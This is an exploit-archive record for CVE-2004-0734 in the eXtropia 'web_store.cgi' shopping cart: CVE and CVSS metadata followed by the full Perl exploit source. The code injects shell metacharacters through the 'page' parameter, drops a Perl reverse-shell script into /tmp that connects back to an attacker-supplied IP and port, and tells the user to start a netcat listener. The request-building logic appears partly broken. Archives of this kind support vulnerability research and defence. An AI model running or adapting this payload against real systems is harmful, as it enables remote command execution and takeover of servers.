{"exploit":{"id":"EDB-1048","name":"eXtropia Shopping Cart - 'web_store.cgi' Remote Command Execution","description":"eXtropia Shopping Cart - 'web_store.cgi' Remote Command Execution","cves":["CVE-2004-0734"],"author":"Action Spider","published":"2005-06-15","platform":"cgi","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/1048","path":"exploits/cgi/webapps/1048.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-1048.pl","vulnerabilities":[{"id":"CVE-2004-0734","state":"PUBLISHED","title":null,"titleSource":null,"description":"Web_Store.cgi allows remote attackers to execute arbitrary commands via shell metacharacters in the page parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2004-0734","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2004-0734"},"updatedAt":"2024-08-08T00:31:46.625Z","retrievedAt":"2026-11-26T23:32:00.739Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-1048.png?v=2","url":"https://exploitbin.com/exploits/EDB-1048","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-1048/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-1048/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl -w\n#\n#********************************************************************************************\n#               Remote Command Execution Vulnerability In Web_store.cgi                     *\n#                                                                                           *\n#                              [SegmentationFault Group]                                    *\n#                                                                                           *\n#                                                                                           *\n#             Greetz to  :  Xsupr3mo -  failed   - Status-x -  Stealh - P3S4D3L0            *\n#             Greetz to  :  berhooz  -   nima  - ehsan   - Unknown  OutLaw  eutanasia       *\n#                                      www.ashiyane.com                                     *\n#                                                                                           *\n#********************************************************************************************\n#ok setp by setp to work :                      *                                           *\n#[*] start exploit                              *   If connect back shell not found: maybe :*\n#[*] run in your system: nc -l -vv -p 2975      *   you do not have perm to write in /tmp   *\n#[*] starting connect back on 127.0.0.1 :2975   *            Shell not vulnerable           *\n#[*] DONE!                                      *   test and put in /$path/hints.pl?|cd /tmp*\n#[*] Look netcat windows                        *     other path that u know dont have perm *\n#                                               *                                           *\n#********************************************************************************************\n#############################################################################################\nuse IO::Socket;\n\nprint \"*****************************************************************\\n\";\nprint \"\\tRemote Command Execution Vulnerability in web_store.cgi\\n  \";\nprint \"\\t\\t-=[  SegmentationFault Group  ]=-\\n\";\nprint \"\\t\\tcode writen    by sun-os [ActionSpider]\\n\\n\";\nprint \"\\tGerttz to : Xsupr3mo -  failed   - Status-x -  Stealh\";\nprint \"\\n\\tand : Behrooz - nima - ehsan www.ashiyane.com\\n\";\nprint \"*****************************************************************\\n\\n\";\n\n\nprint \"enter hostname or ip : \\n\";\nchomp($server=<STDIN>);\n\nprint \"port: (default: 80)\\n\";\nchomp($port=<STDIN>);\n$port=80 if ($port =~/\\D/ );\n$port=80 if ($port eq \"\" );\n\nprint \"path: (???/web_store.cgi?)\\n\";\nchomp($path=<STDIN>);\n\nprint \"your ip (for reverse connect): \\n\";\nchomp($ip=<STDIN>);\n\nprint \"your port (for reverse connect): \\n\";\nchomp($reverse=<STDIN>);\n\nprint \"ok Remote Command Execution now Start\";\nprint \"|+| try to exploiting...\\n\";\n\n$string=\"/$path/web_store.cgi?page=.html|cd /tmp;echo \".q{use Socket;$execute= 'echo \"`uname -a`\";echo \"`id`\";/bin/sh';$target=$ARGV[0];$port=$ARGV[1];$iaddr=inet_aton($target) || die(\"Error: $!\\n\");$paddr=sockaddr_in($port, $iaddr) || die(\"Error: $!\\n\");$proto=getprotobyname('tcp');socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die(\"Error: $!\\n\");connect(SOCKET, $paddr) || die(\"Error: $!\\n\");open(STDIN, \">&SOCKET\");open(STDOUT, \">&SOCKET\");open(STDERR, \">&SOCKET\");system($execute);close(STDIN)}.\" >>dc.pl;perl dc.pl $ip $reverse|\";\n\nprint \"|+| OK! \\n\";\nprint \"|+| NOW, run in your system: nc -l -vv -p $reverse\\n\";\nprint \"|+| starting connect back on $ip :$reverse\\n\";\nprint \"|+| DONE!\\n\";\nprint \"|+| Look netcat windows\\n\\n\";\n$socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Proto => tcp)\nor die;\n\nprint $socket \"POST $path HTTP/1.1\\n\";\nprint $socket \"Host: $server\\n\";\nprint $socket \"Accept: */*\\n\";\nprint $socket \"User-Agent: blackbox\\n\";\nprint $socket \"Pragma: no-cache\\n\";\nprint $socket \"Cache-Control: no-cache\\n\";\nprint $socket \"Connection: close\\n\\n\";\n\nprint \"have nice shell...\";\n\n# milw0rm.com [2005-06-15]","sha256":"496208713d2b3bf5042f44ddf3fc99163d00246c4ede112ffac863d65a96a15d","bytes":3975,"fetchedAt":"2026-11-26T23:09:39.411Z","encoding":"utf-8 (display only; download retains original bytes)"}